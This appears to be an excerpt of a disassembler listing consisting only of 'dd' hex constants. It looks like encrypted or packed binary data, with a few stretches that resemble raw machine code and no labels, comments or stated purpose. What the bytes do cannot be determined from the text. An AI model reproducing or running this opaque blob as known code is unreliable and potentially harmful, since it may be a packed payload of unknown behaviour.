		dd 0B71160E6h, 0E6171483h, 0F05E5F88h, 871E4291h, 0F05ED03Bh
		dd 0A571AC91h, 15DBA663h, 0F05E2E99h, 9B0F3391h, 0B40872FAh
		dd 957271A6h, 4AFC7BD0h, 8B4EF7CBh, 0E7BE73DFh,	0AA41h
		dd 7B3BFE00h, 0F39A030Ah, 0CE92657Dh, 0F0291879h, 0D3D847B2h
		dd 0BFC62D76h, 0AC2B9ADAh, 0CC8B2B6Bh, 0B2DD1E76h, 3CA0C82Bh
		dd 679B0F83h, 0DB873B2Bh, 6CD59D97h, 7BF4EB88h,	7BCD3C72h
		dd 40089DE5h, 0C5B7FC59h, 0F6047EA9h, 4BFF6391h, 165CB92Ah
		dd 0C57E4FA3h
		dd 0BB0DB489h, 0CA8B4E3Fh, 397F1C65h, 0C38063CCh, 0C47390D7h
		dd 0DF6B8h, 73CA8E00h, 2A99DABFh, 0C7133D6h, 0E54E15E8h
		dd 0D3266C01h, 0E99FB45Fh, 0C7DA5EABh, 1AFF337Ch, 770AEE5Dh
		dd 2622C62Fh, 0EC3C6B07h, 6E2191EBh, 87D3B3Fh, 0E05111F4h
		dd 1A58BD0Ch, 3B77D6AFh, 548D0A7Bh, 57B4A50Ch, 2463A60Fh
		dd 0D3A224D3h, 0F34202E7h, 811A8D44h, 5CEC1A98h, 49F19DE6h
		dd 49BEFB40h, 7D3958CEh, 75A33h, 7D3BD800h, 0DA980108h
		dd 1B7EB2E4h, 4F3B364Fh, 97DB461Ch, 0A9EF31B4h,	49FD460Dh
		dd 0A5D458CEh, 0E8A8F1C9h, 94DDB49Dh, 8A3EB02Fh, 0B7FE4683h
		dd 6FD69E73h, 4D692FF0h, 0BF08BC05h, 90DAEA46h,	447E0A49h
		dd 5C00000Dh, 0A84DA118h, 816498E7h, 0DBBE72BFh, 32D72B9Ch
		dd 6ED0174h, 8CF9BFCDh,	61CA9568h, 5CABE88Dh, 347DC5D8h
		dd 397574F0h, 91EBEBCEh, 0EFE938D3h, 94B692Ah, 0B46130A4h
		dd 82679BEEh, 13C473C2h, 1475E253h, 2363693Dh, 62D45ED2h
		dd 0BF6B7B63h, 0Dh, 323492ECh, 5D2B97DBh, 0FFFFFDC8h, 682AEFF2h
		dd 3C828808h, 0A054D473h, 0D83E6DD1h, 0F9697DBh, 81016D9Ch
		dd 0F49DE836h, 0B8F85D4Ch, 0C704B549h, 9DC63A80h, 0EEA12D7Ah
		dd 367E1B7Ah, 0C98F50CFh, 6204F37Ch, 48F790DAh,	0CA23Ch
		dd 7763200h, 0FE450EE3h, 0D01D673Ah, 89FAB95Ch,	67D29075h
		dd 1D6BE083h, 6B0EE257h, 4E23C728h, 9B7EB209h, 9A966ADBh
		dd 0EA90DFD3h, 928D91EBh, 0A7B3B83h, 8AE7808Dh,	9441401Ch
		dd 0A2E2B7CEh, 4FF34202h, 0D136B7D0h, 4EB12091h, 3328F0A2h
		dd 1501D0A1h, 12165F27h, 7BD42610h, 17F36Bh, 92A80000h
		dd 97DB3234h, 7D31222Bh, 97DB0532h, 165A3B2Fh, 0FFFFFD10h
		dd 6D76EFB5h, 77B8E3E4h, 50574E57h, 0F1BDAEDFh,	97DB4B86h
		dd 0C8A6D79Bh, 97DB4B9Fh, 6C7DE82h, 0E6752268h,	0A33279Dh
		dd 412A9519h, 33791F0h,	803F86CEh, 8EF8770Eh, 91F0415Ch
		dd 5431E520h, 71A6ACE2h, 19D3Fh, 76EF6C00h, 478CACB4h
		dd 0A5C9F056h, 97DB1A7Ah, 5CA2F367h, 97DB1A7Fh,	0CB7FCC89h
		dd 43B2F257h, 3B8ACAAFh, 1D21F2BCh, 0D04F97DBh,	278ED6C2h
		dd 0A5C9FAC3h, 97DB1A7Ah, 0EBA2F367h, 1AFF78EDh, 7217EB5Ah
		dd 2A54C332h, 97DB1D51h, 1F642EEDh, 6B7B742Dh, 14588h
		dd 7B3BA700h, 0C548D0Ah, 6A2DD2A8h, 0BB2FC9AEh,	3E1055B2h
		dd 0DBA40770h, 0A2561A97h, 16E4BD35h, 0F8E17A6Dh, 0F24102C7h
		dd 0A2055FA3h, 48F09DE6h, 0A568A3CFh, 0F91491F0h, 1142FB2Dh
		dd 47E4B772h, 18620A6Bh, 4271A67Ch, 1A125D51h, 5B0F91F0h
		dd 322E3Ah, 0E3F0000h, 1A26911Dh, 373B91F0h, 0F01A0C7Bh
		dd 48291191h, 29C225F5h, 26807220h, 0AD959DE6h,	19074432h
		dd 9C7B91F0h, 789BEDF6h, 0A16671A6h, 15000000h,	1B5B7B3Bh
		dd 0A9F42DAAh, 0B12ED246h, 0A8155FBCh, 3DDABB2Fh, 4C950277h
		dd 0DD02BD04h, 9CC82C95h, 97DB271Ch, 8BCAEAAAh,	4C06BF38h
		dd 9DFFC41Dh, 9C900488h, 7E6F00E7h, 7EC9884Dh, 1252DB27h
		dd 0A3979DE5h, 0A2175DBAh, 98EDAB4Eh, 0D7B9EA2Fh, 26EED90h
		dd 0AABh, 0EA0E7F3Bh, 0DE14E17h, 27DB2668h, 7CB00342h
		dd 8A6EDB99h, 602664F9h, 317C1115h, 12572ACEh, 0E4AC41A5h
		dd 0DCED999Dh, 0EBE869D6h, 889B7491h, 1B6A2AEFh, 8E8BEA9Ch
		dd 0E4B97DC8h, 95C2D09Ch, 8897DB0Fh, 73D85CC0h,	1A692AEFh
		dd 8F8C159Dh, 18C17EC7h, 47E0E958h, 0A3A1FCE9h,	9B5F2677h
		dd 4162Dh, 8413E200h, 0F767C37Ch, 19433E2Bh, 811A8D78h
		dd 88E51A98h, 70F89DE8h, 0BEB42BE0h, 0EBBC87F0h, 22D69A91h
		dd 9D51773Bh, 242C9BD6h, 0A39CCFBBh, 25E097C0h,	0B221471h
		dd 92FF6B97h, 0AC000003h, 0DB0F3992h, 0FF22697h, 438897DBh
		dd 1758BD02h, 0CBD2C9A8h, 0D3382950h, 32B42394h, 2DAD1F63h
		dd 60E89DE6h, 0D5750CC7h, 24500F90h, 9D7h, 0DE52ABEFh
		dd 0F1357A3Bh, 0BEF521Ch, 20C42F76h, 7EB2074Dh,	8CCAB095h
		dd 5D20C539h, 3E7B1E12h, 105035C9h, 0E8C14DA1h,	0EBE85D8Ah
		dd 5C4F4091h, 8D0A7B3Bh, 0D1D8534Ah, 0E8E1D9DDh, 1F66A39Dh
		dd 727BCDD4h, 0EBD5F33Ch, 0F67AEE91h, 0CD5E4132h, 3B26D6DCh
		dd 3F239BD8h, 7A381D0Eh, 0DEA1760Fh, 8C3087CCh,	8973C68h
		dd 746F97DBh, 0EC7307Eh, 96DA97DBh, 108FF0B3h, 7316EA9Eh
		dd 0FB244A30h, 0E697DB0Eh, 7ADFCE72h, 0C54DCA39h, 145C85BCh
		dd 0BF03BCADh, 86504319h, 0A2ABA6FFh, 0BE851D65h, 0D044CA75h
		dd 9D3CAC1h, 0CE40FF4Ch, 71E54A0Bh, 8EDC2A48h, 59019DE6h
		dd 0D64D3FEEh, 77053090h, 913h,	9296E7A3h, 0B549B6FFh
		dd 0CF238ED0h, 0E4186B2Ah, 32F64301h, 0C88EFC51h, 99E4B97Dh
		dd 7A3FD256h, 4C14E90Dh, 240501E5h, 0EBE7014Eh,	10031C91h
		dd 2029C225h, 2487CA0Fh, 6E37BBh, 9DE8E198h, 0ED561DFAh
		dd 1D0C3494h, 9A5673ECh, 0BF240AFCh, 0D6E31E6h,	0C3AFC0E9h
		dd 91EB8794h, 0DBB0C189h, 0A3A85798h, 0CDD41F66h, 2D5CCFD6h
		dd 0D8695D41h, 7836279Bh, 97DB5D0Fh, 5DCE3975h,	6FD397DBh
		dd 0B6FC5119h, 4352D443h, 3C27DE5h, 0E91A039Ch,	611E612Ch
		dd 5D529DE9h, 1B4F97DBh, 8325497Ah, 0FE9DE677h,	9B36FD4Ah
		dd 3A3990D5h, 8624Eh, 0C7367200h, 0BE054E23h, 90DDA77Ah
		dd 49BAF99Ch, 2792D0B5h, 5D2B20C3h, 0AB4EA217h,	8E6387E8h
		dd 0DBBE72C9h, 5AD62A9Bh, 0E6D01F93h, 0D2CD91EBh, 8F7B3BC3h
		dd 0DB0FB4E3h, 0ADF0A997h, 0A95DD542h, 8CD73425h, 3A1F5223h
		dd 4B8C0B7Ah, 0E744B40Eh, 3A6F9538h, 91D009B6h,	1D60B926h
		dd 0D0AD25D2h, 6A2F2DF9h, 78EC621Dh, 6450421Dh,	6851D51Ch
		dd 0E09FE0A3h, 1B6D176Eh, 0E66B7B9Bh, 16Dh, 0E05312F7h
		dd 3B4AB5F9h, 0E35797DBh, 0C2253392h, 28722029h, 0ED9DE655h
		dd 2B9D9968h, 37BB0224h, 0BDADFE88h, 32D191F0h,	11311B60h
		dd 3A8C71A7h, 0C1000001h, 0C52A6BD0h, 0F0B57EA9h, 0A6FF6391h
		dd 0A7B3B47h, 0A50C548Dh, 352BB241h, 0DB0F0E79h, 63ACFC97h
		dd 586BAF90h, 6F9E0236h, 0E600C103h, 930C349Dh,	0F007A4E7h
		dd 693DD891h, 0A6673A0Ch, 2C8771h, 71D60000h, 53B2C330h
		dd 2029C225h, 0E6268072h, 32AD959Dh, 0F0190744h, 95727B91h
		dd 74FA65CEh, 3B40522Dh, 71A67951h, 0B7ACh, 7B3BC300h
		dd 0E548D0Ah, 0F55B2BBh, 0ECB53DBAh, 9DE4AC75h,	417F36Ch
		dd 123B2BBBh, 0AEDFCC83h, 0DB3797C0h, 5681ED97h, 4B97DB37h
		dd 0A8C97107h, 0DE52A3E3h, 0DB1B7292h, 85ECB497h, 900B9261h
		dd 0E8E40569h, 34219DE5h, 3979DF9Fh, 74FE49C8h,	0CFE0E99Dh
		dd 26FB4A0Ah, 0E066115Ch, 4BBE8491h, 125D5142h,	0F91F631h
		dd 997C3A5Bh, 24C16EDBh, 1790D795h, 6C95C28h, 9DD90000h
		dd 6C35C82Ch, 440EE307h, 216005F9h, 0F9BF52D6h,	429B688Ch
		dd 0F70B7EC4h, 8EC4F12h, 27DB3075h, 7FB30242h, 4BB4FAF3h
		dd 5691EBE5h, 7D3B6AB5h, 5111F408h, 58BD0CE0h, 75C8A918h
		dd 62077B3Bh, 9CCB586Fh, 0BA9F188Ch, 39778BFAh,	47h, 6C2AEFD6h
		dd 89E89E19h, 475EFAA4h, 0D7C9A5D4h, 0CA9DE8E1h, 0E12491D7h
		dd 16AE529Fh, 0D5C86AABh, 5A5F535Ah, 209BD83Bh,	0AF289DDBh
		dd 5A0E5A3Bh, 9E83AA53h, 3CD65D55h, 6551A185h, 5A3B5450h
		dd 3B7EC0h, 0EF2D0000h,	0B486C2Ah, 1B8F08BCh, 831C837Ah
		dd 3C72149Ah, 77689DE6h, 0F003CC3Bh, 869D191h, 630F88B0h
		dd 91F0132Fh, 8F878F48h, 18968718h, 6432DF76h, 65A3470Bh
		dd 8Ch,	0D676EF2Ah, 237F6A2Ah, 574E455Ch, 29D9D5C4h, 3C9DE8B8h
		dd 1E171234h, 0EFF49E7Dh, 71ABE59Dh, 5B78h, 2E447500h
		dd 91EB80E1h, 0DE2D74FCh, 2029C225h, 0E8E14D72h, 0F6E8509Dh
		dd 0C219FA3Bh, 3CC18BD0h, 351C71ACh, 33000000h,	2029C225h
		dd 0E8E14C72h, 0E0E9519Dh, 3E449C47h, 0DABB5522h, 6E0233FEh
		dd 0FD22DD28h, 1CE49B2h, 0D9989C86h, 8358FA6Eh,	0C580CA93h
		dd 0D5D71ABh, 0F2000000h, 0DB231492h, 3C7D0B97h, 12FFFFFFh
		dd 4672AEFh, 978E179Bh,	6E9F10h, 9DE8E1ACh, 0FB620DB6h
		dd 216BA834h, 1F0D7A38h, 281091EBh, 591AFF49h, 0F4E56DEAh
		dd 0EB1F71BEh, 70E46C91h, 2DC38C49h, 0E9611E63h, 0E2251C65h
		dd 0C11F6DFBh, 0CB30B3B7h, 0BBF388Dh, 84EA1387h, 9BD8D211h
		dd 9FE6AE6Bh, 0B1176EE0h, 27116584h, 22D60C27h,	0F06B72B5h
		dd 9105A5C9h, 49409DE8h, 0D3F8B30Bh, 644697DAh,	5FC347F0h
		dd 97D83D2Eh, 5A3BAF28h, 6B8FF4BDh, 939A1588h, 0D8D79F1Fh
		dd 0BE879A9Bh, 7FDCCD71h, 0FD29CD3Ah, 0EFE23EE3h, 0AB8D40F9h
		dd 0BF58103Fh, 2FA81B5Ah, 753DDABBh, 2FEC1D0Ch,	0EF631C69h
		dd 0FD035483h, 0CC01490Fh, 95613087h, 4D10B0F0h, 49FD75E2h
		dd 1F9017CEh, 4A280EEh,	32D705C0h, 0A30E5074h, 9A0EB234h
		dd 4155CC1Dh, 46BA0B4Bh, 0A362CE77h, 0D3AEFA36h, 3B90D5C2h
		dd 0D51A5BBCh, 0D11E67A4h, 728AD26h, 35C650DEh,	9841F081h
		dd 29EE69D8h, 0F19F1869h, 0FC450012h, 3E7B7125h, 135035C9h
		dd 47CE3BA4h, 0E6D2C09Fh, 0E6232AA1h, 25AD2AA1h, 41509FE0h
		dd 0BC252675h, 276FB02Fh, 54B321DEh, 8D4B544Eh,	227079C2h
		dd 97DB0FF5h, 0CDFC60E8h, 0F69D6DCh, 0CC7497DBh, 502DBE55h
		dd 4E57D5B2h, 64CD9568h, 0D36DA762h, 63B42394h,	9704D121h
		dd 24B2578Ah, 5C8E07B0h, 0DFC32443h, 0F79F78B4h, 9D8966D0h
		dd 0D66ED79Fh, 0FAB882C3h, 97DB9C8Dh, 9C4CBBF7h, 0E95197DBh
		dd 0B02FD387h, 0DB9C99C6h, 0B2603F97h, 79BBFD46h, 6E0541DEh
		dd 0AE199584h, 0B397DB32h, 2E71B8Fh, 3949F645h,	97DB32D3h
		dd 999F8758h, 5B84EADCh, 4697DB32h, 0FB30443h, 0B92B679Bh
		dd 4E97DB12h, 7B7B93E4h, 0D4DACB6Bh, 97DB1A6Bh,	95B3C276h
		dd 0FFFFFF4Ah, 682AEFCAh, 0FA51280h, 0B0B897DBh, 0E0A0750Ch
		dd 445F909Ch, 4B56286Eh, 0C351C03Dh, 0C58346E2h, 0DF43C770h
		dd 0E6FE465Bh, 0ADA3579Eh, 0A3A50C54h, 0D6C2D04Fh, 83CCA28Eh
		dd 9E97DBDEh, 149E26AAh, 6B7C3422h, 73FFh, 0D1DDCE00h
		dd 97DBD266h, 5FAEF77Bh, 3B78C225h, 5D5158CCh, 9DE8E158h
		dd 0EFB1D45h, 0DB2A6A04h, 75BAFB5Ch, 0B3633CCAh, 0BF673014h
		dd 0BEAF40A7h, 0BF0A488Dh, 3B6598E6h, 661F9BD8h, 6B2CA154h
		dd 0EBF11169h, 0EAFB1998h, 0C1AC4993h, 0ED910BBAh, 0E5893494h
		dd 97DBA7BAh, 1E0FB3A7h, 0A75681EDh, 462C97DBh,	97DBA719h
		dd 64A5C04h, 3F99E77Fh,	36000000h, 2029C225h, 4B2A9BDBh
		dd 0E1E1149Ah, 0E29B9DE8h, 2654F7ACh, 3692E3BAh, 38AC1153h
		dd 2F38EB26h, 55484250h, 0DADFD3DAh, 0A09BD853h, 402E1C5Bh
		dd 97DB6717h, 25D2460Ah, 0CC74D4ADh, 7B3B1774h,	0C548D0Ah
		dd 6661EEA8h, 0EB9F98FEh, 0EB6025E2h, 0C4337F6Ch, 0D997DBEDh
		dd 0A694ED91h, 2851CADDh, 0E6EB084Ah, 0CA75FD9Dh, 0F0EC6FBCh
		dd 2EF41391h, 0A741F345h, 25CE71h, 257D0000h, 722029C2h
		dd 9DE62680h, 5FBCAD95h, 96C9A815h, 0F019A3E8h,	5240DF91h
		dd 0A6793F09h, 0D19A71h, 3BB10000h, 548D0A7Bh, 0DB3CBB0Eh
		dd 74AD2A9Bh, 0E521C52Ch, 97DB347Dh, 0A5F3960Fh, 0B3F1D895h
		dd 46D35E2h, 7723015h, 0AB8F1698h, 36278ED6h, 0B22D8ED1h
		dd 0C6C30031h, 34B87113h, 0AC33F26Dh, 0AE640A33h, 3C9DE647h
		dd 4F2397DFh, 1BAF3370h, 3D8BEA9Eh, 9B02F135h, 12951900h
		dd 889BCE98h, 666E581Fh, 0A327D01Bh, 45D97032h,	2F76C180h
		dd 776891D9h, 0DD9DCC3Bh, 869D197h, 0C13472D7h,	0BF0A482Dh
		dd 0B0E9FF30h, 3745F08Ah, 19Fh,	0E61A7337h, 39FD4203h
		dd 53D71A64h, 688CF7BEh, 867ACF95h, 541268EDh, 25680DE1h
		dd 64326DAh, 0D8987DB1h, 0D0999569h, 0EBFF95C2h, 84978891h
		dd 0F4087D3Bh, 91DED4C5h, 8C97DB0Fh, 98D8BDC4h,	2586D529h
		dd 0CC3B78C2h, 222BDF53h, 0E626864Ch, 30AF939Dh, 0F0190546h
		dd 889A7991h, 40B5F358h, 79410B31h, 0DE3B71A6h,	34542D98h
		dd 0BEh, 0A7B3B6Bh, 0A81C603h, 0BB2491D7h, 2EF36E37h, 14621D68h
		dd 97DB346Ch, 323B8ACAh, 6249089h, 2F7695C5h, 87EEB64Bh
		dd 6B361318h, 82139700h, 929B148Bh, 3ADEA461h, 188E097Ch
		dd 0E3A10D94h, 719DE692h, 0E5DE2FC8h, 652E1E9Ch, 65E9611Eh
		dd 6084CC1Ch, 6A930C93h, 0CE894204h, 828BBF9Bh,	84EBB491h
		dd 0BE5A18FDh, 121B8FF6h, 7A1B7035h, 87C80DBCh,	0F6BC5938h
		dd 511D2483h, 231E8AB1h, 0AA55h, 0F7E3A00h, 0E64D16EBh
		dd 0D8256F02h, 0B1024124h, 6FDA987Dh, 2563F88Bh, 7316EA5Fh
		dd 562BCF30h, 0A346BA11h, 929E92E3h, 0FE68D7DBh, 9A7591EBh
		dd 87D3B8Bh, 0E05111F4h, 7B3BDF0Ch, 0C548D0Ah, 0E4AC41A5h
		dd 0EB50999Dh, 55DD5AABh, 0BE074F4Ch, 0C45D7101h, 0D5D803AFh
		dd 56C13070h, 24EEC1D0h, 0E507030h, 3B234A3h, 116A50A8h
		dd 0A246CA22h, 0F3E87CFh, 9627901Eh, 363AE3A8h,	682FF06Fh
		dd 0D8B7601Fh, 723D1ACAh, 0E3A36809h, 0BBFB9E92h, 0BB86434Ah
		dd 422E2170h, 0Fh, 672AEF09h, 32179B04h, 13970073h, 3B54A782h
		dd 48910E7Fh, 0D93EB908h, 6FB02F9Ch, 0FB5CDB24h, 0ACF48BDh
		dd 997EF94Ch, 29EE69DAh, 449D1A67h, 0B30BB4FBh,	707568h
		dd 242C8900h, 0C581E589h, 4, 8704ED83h,	835C242Ch, 3C8904ECh
		dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 240C895Ch
		dd 30DC3968h, 243C8B06h, 5404C483h, 83240C8Bh, 565204C4h
		dd 0F289FE89h, 851895Eh, 240C8B5Ah, 81E68956h, 4C6h, 4C68300h
		dd 5C243487h, 5F2434FFh, 0E904C483h, 0FFFB5DC3h, 7DEEA9FDh
		dd 0E852CFE0h, 0B8F08E1Fh, 630F1D0h, 0E0FFC503h, 27A891A8h
		dd 281B485h, 6107852Dh,	3E4A66C6h, 53A4289h, 4C3A99Dh
		dd 1C69D6Dh, 23144727h,	2DAF96D8h, 2DED5594h, 57536015h
		dd 51C2BEE6h, 5E173Ch, 3DF7419h, 391FB357h, 0C310CD2h
		dd 654C214Eh, 6EEAD5B6h, 72B249D2h, 17DCB8D7h, 7F72D73h
		dd 3E61CD7Fh, 1BA95A0Ch, 7D35AA77h, 54BB5E60h, 3976EFB6h
		dd 12CC57CCh, 0F32B8D8Dh, 0C28B0630h, 0EE18D89h, 8D29062Bh
		dd 62B0EA9h, 21E185C7h,	5F78062Bh, 0C7F50000h, 2B2BE585h
		dd 6, 0A9B58900h, 0FF062B25h, 2B0D45B5h, 66606006h, 81A418BBh
		dd 0E4C118F0h, 0C78B6127h, 3195FF61h, 6A062B27h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0E684C357h, 95FF006Ah, 62B2945h, 5CEBC08Bh, 34EDA18Fh
		dd 1A5D0C4Dh, 865A5123h, 3E06EE10h, 8C90AB18h, 0C9280640h
		dd 1C63D0D7h, 0DBE8FED0h, 0D3A02996h, 0C262563Bh, 0BED7B731h
		dd 321B8A4Eh, 5B7E73C8h, 0C9613A6Fh, 0BCF5840Eh, 24DC85E1h
		dd 0B9092CF4h, 0F0771C18h, 0D1930E5Eh, 0BEA73C94h, 0E339951Eh
		dd 0E1862D45h, 93A978AFh, 0DE9h, 0BFE9A300h, 0E7339C43h
		dd 77h
		dd 91E90000h, 6800000Dh, 630F583h, 0FA8C0BE9h, 0F69B68FFh
		dd 1E90630h, 68FFFA8Ch,	630F827h, 0FA8BF7E9h, 0F9B268FFh
		dd 0EDE90630h, 68FFFA8Bh, 630FB3Ch, 0FA8BE3E9h,	0FD5568FFh
		dd 0D9E90630h, 68FFFA8Bh, 630FED8h, 0FA8BCFE9h,	0FFC568FFh
		dd 0C5E90630h, 72FFFA8Bh, 0C423DFE9h, 1473AF91h, 65827E40h
		dd 0B1CECAE2h, 0EE1B97A9h, 96A8AE2Bh, 6761FD1Ah, 310B4CABh
		dd 0FCDA9AF5h, 0A7B55A00h, 92DB3305h, 306FFC78h, 0F195142Eh
		dd 0AE1C781h, 4C9BBDB7h, 0C01993A1h, 0F26C94EBh, 76C6473Bh
		dd 4443EE79h, 0D3FD2C16h, 8AC6DE4Eh, 0E3AE3921h, 2650399Ah
		dd 0D2B0FF2Eh, 50DAA8EEh, 359B6AA3h, 6D3F61A7h,	0A9B742EDh
		dd 6D3F6107h, 3C25E47Ah, 7F501A48h, 6FF4776Bh, 0D6000000h
		dd 2F190271h, 0E7C90E53h, 0A8C53526h, 0CBFD603Fh, 0A0AF5EE0h
		dd 0C61A9D94h, 46019C8Ah, 69C4A766h, 3E19D15Bh,	1EBAA46Dh
		dd 0E5C5C2B1h, 4B00BA8Fh, 0F19CB342h, 3E3C49E3h, 0EB223C6Dh
		dd 3E3C57E5h, 97F21D6Dh, 132FFCC0h, 0F99D619Ah,	760B2C8Ah
		dd 8BE4127Dh, 1EEDD7h, 7640E89h, 0FF18776Ch, 31000000h
		dd 0E21496A2h, 0F1696D3Eh, 12719238h, 89917A4Ch, 61470100h
		dd 2A23378Ah, 0EBC06C1Eh, 0E79E194h, 0D48AF4C8h, 0AE17DD6h
		dd 4C9BBDB7h, 0CE1993A1h, 0F4006B14h, 6B14CE7Ah, 0B6A8130Fh
		dd 1F59A477h, 16D3FD39h, 0E56B14D5h, 2E494563h,	9B152336h
		dd 0EE6B14C9h, 46F7D470h, 0C36EF9F6h, 36C838D4h, 25E4E67Dh
		dd 39F89EABh, 0AD69F175h, 0B8274CBCh, 0D0091ACh, 3B49E473h
		dd 674D81B1h, 913E5AC4h, 545573F2h, 4678DEBDh, 0C0352D4Ah
		dd 0CF5EB180h, 0CD7F8D20h, 80674D04h, 5CE6029Eh, 5059B3F0h
		dd 1EA5AC7Fh, 200000Bh,	54B36F59h, 0A4C33F01h, 0F5128EB0h
		dd 415E5A72h, 9EEB2719h, 26183EDBh, 0F7D18DEAh,	417BDC3Bh
		dd 0C2A2A45h, 1725CA90h, 92DB3595h, 81546CE8h, 0D78E7D9h
		dd 0F11F03A3h, 94EB037Fh, 7230C12h, 0A91594C1h,	0A730164Eh
		dd 3C620C18h, 0D58B94EBh, 971608F3h, 1F6FB72Bh,	727785D2h
		dd 618AC6EAh, 511AF332h, 0F039B468h, 0E7A22D2Dh, 0DF63486Ch
		dd 0E3715F2Eh, 0A96D3F0Ch, 6A5E039Eh, 10C6BAA3h, 7E727465h
		dd 8E7F39CEh, 6B4E5F0Bh, 0C80777h, 81C30000h, 0B70AE1C7h
		dd 1F3299A3h, 0EBDD80h,	20018F7Eh, 4394EBDBh, 3B06A8B4h
		dd 247B6B14h, 0A3BF0C36h, 0F97B8607h, 8CC423DFh, 3BE18B99h
		dd 8A946B14h, 60D09D6Eh, 92C9C413h, 0C8D47BB2h,	75391EB9h
		dd 0DF4E4AD4h, 46D5026Fh, 0BF8EEF5Bh, 3F8A1F91h, 83EC726Dh
		dd 0D5D4FE47h, 0D32D1BBh, 0ED7AE473h, 0CDD2535Eh, 0F9091C68h
		dd 5769F130h, 0F31A3C5Bh, 0C8534373h, 8B39558Dh, 5059AF23h
		dd 6C48F5Ch, 1A00000Ah,	6C8B0741h, 0BCDBD7E9h, 0D6AA698h
		dd 59B6724Ah, 0B6C33F01h, 3E0056C3h, 8FB9A5C2h,	5963F413h
		dd 2402425Dh, 0F1D32E8h, 92DB367Dh, 713C1410h, 0BBBA4F12h
		dd 94304E9Dh, 72540A15h, 391F59B6h, 0C781D9FDh,	0BDB70AE1h
		dd 9EEE1F9Bh, 0C7B0651h, 0F9DF50A1h, 2DA36A4Bh,	8AC6E59Ch
		dd 0B5E06FF3h, 0A49C77AEh, 0C9C1B582h, 23D95361h, 0B2AC6D3Eh
		dd 49049716h, 532C0A4Ah, 48D6350Fh, 23A24F41h, 0A516D3Eh
		dd 0D58AD13Ah, 94C918F3h, 7C05EAB0h, 0EA4F79DFh, 0D7AB4A4Eh
		dd 6C47BFABh, 6926777h,	5DE80000h, 0C526183Eh, 0A201ABB5h
		dd 0EA746D3Eh, 1F6FA723h, 367785D2h, 498AC6D8h,	48D6FAD1h
		dd 0B96D3F38h, 34E9DA3h, 3F387BF5h, 37100E6Dh, 0C1B3183Ch
		dd 1D81685Ch, 0FBDD97F2h, 2A310E10h, 60A9B11Ah,	9BD703C7h
		dd 43776BD5h, 644h, 0E11F6F8Fh,	0EBC059D3h, 0F3012C94h
		dd 94EBC079h, 5AF6120Ch, 8E62FF0Dh, 0F2818AC6h,	3F0D44E6h
		dd 8AA2A56Dh, 0BCA21921h, 5BB0AE4Dh, 3F0DE775h,	0B094AD6Dh
		dd 6BAAE882h, 0A9ABE677h, 1891E8Fh, 55000006h, 0E656B54Eh
		dd 9430164Ah, 8D983D4Bh, 0B3AF8AC6h, 0E2BAE974h, 1A94A013h
		dd 6F6D3F28h, 104784F3h, 0E6C681DEh, 1CB47505h,	0F92412F5h
		dd 7AE50A7Ah, 796EE76Eh, 3B908EE7h, 2AB5BA0Ah, 52344F1Eh
		dd 0F58C6EDh, 3AF6D090h, 37BD9BDDh, 0E29704A9h,	7A4A1DCEh
		dd 0A6000008h, 0F81793B5h, 48A76365h, 99F63214h, 0E502FEDEh
		dd 224F4B7Dh, 4A7CE27Fh, 1B2D314Eh, 0E5DF809Fh,	0B096CE29h
		dd 7B89A674h, 92DB38F1h, 71A88084h, 8DB7A7E2h, 0B436203Eh
		dd 0C994EBC0h, 0F495851h, 18F3BE29h, 9D73F65Dh,	6801ABB9h
		dd 0EA7494EBh, 5676F14Eh, 2797C457h, 0E20E9DCAh, 94EB6848h
		dd 65EC1D3Dh, 0DC656657h, 2136558Ah, 2A4678DCh,	7CDEB9C1h
		dd 0BEA0434Ah, 75F65442h, 0A6C46D24h, 0D2F46A29h, 698CC4DBh
		dd 7AB6D2F2h, 305C84F3h, 6D2475BEh, 0A4334FD3h,	24751E98h
		dd 1CEF736Dh, 0E26287C1h, 0E36CA8C4h, 0A6044B4h, 7CDA6F90h
		dd 0DC2A15FBh, 9BDAB59Ah, 0A6444CBDh, 376D24A6h, 85E21E22h
		dd 0CA06E5C3h, 6D24563Ch, 5967F259h, 6D24B6D7h,	0DDE777AAh
		dd 0D658F641h, 704FC92Ah, 0F6BC80B9h, 0B35C587Eh, 0C4C57924h
		dd 125081A5h, 24C4AA44h, 0F443DF6Dh, 527EB290h,	0EF32FBD4h
		dd 54785375h, 6D2430C6h, 0B9F639Ah, 0BE305C49h,	4F6D2410h
		dd 4BD73408h, 5652EE70h, 138CDh, 1271B500h, 6EDDAB4Eh
		dd 62D9B165h, 5455E5C6h, 0DE2D0B4Dh, 8BA70473h,	0D0EB12EDh
		dd 0EB162AC4h, 0A7C35F94h, 2461B66h, 0C4F7A2A9h, 66F38A96h
		dd 0EB850B82h, 294EBDFh, 9CFB6442h, 142A81BBh, 0E5550695h
		dd 6AEF084Bh, 49E57556h, 36F7A22Dh, 26101C94h, 77858C7Dh
		dd 8ADC1246h, 6FF30119h, 804A308Ch, 6EFF853h, 2A330000h
		dd 0DE85E21Eh, 8FD532EEh, 23227DB9h, 0E86E8905h, 0E8AFDAD6h
		dd 0D5D1EB6Fh, 6AA6A0BAh, 0B470540Dh, 0C33F195Bh, 44E6F219h
		dd 3992DB39h, 0C781273Bh, 0A6052322h, 50AF7C98h, 9FF8340Eh
		dd 0ED0A86BAh, 0C6514D6Bh, 5BB094CBh, 0CF6B4D04h, 0A59FC3DEh
		dd 812C4F3Ah, 0EB5472F2h, 64A53058h, 32144A91h,	0F1D58ED9h
		dd 67A3A5BDh, 97A4F670h, 0A3B9D47Dh, 0AAC6F85Eh, 209663h
		dd 71300000h, 0C054D6E2h, 312994EBh, 0EF3C0256h, 9AB35A53h
		dd 2C000000h, 0C0F97381h, 928C94EBh, 12717F1Bh,	71B0794Fh
		dd 0D6FAD1F7h, 94EBD048h, 891DE114h, 0D5302ACFh, 0CC52B98Fh
		dd 7F9814B0h, 1A79E6DAh, 0F98C7D5Bh, 143046D3h,	0F4C86D6Bh
		dd 6BA799BEh, 0E4D88177h, 5EA7B807h, 46E8F4F9h,	3B94EBC0h
		dd 9C6F8B27h, 0DD831E4Dh, 0BD0E2828h, 94AA019Dh, 6218EC15h
		dd 0DF396F37h, 39F0F36Bh, 0D58C71E6h, 0EA0618F3h, 16B5A02Eh
		dd 0D08794EBh, 7D97A293h, 0FFFE854Dh, 0D79702FFh, 0C769770Ch
		dd 0BA94EBE4h, 0B62BDBA4h, 75C5C1C8h, 2F4h, 0E1C7816Dh
		dd 0ACB8470Ah, 94EBC002h, 0AE22EB77h, 94EBC010h, 0C7EBDF56h
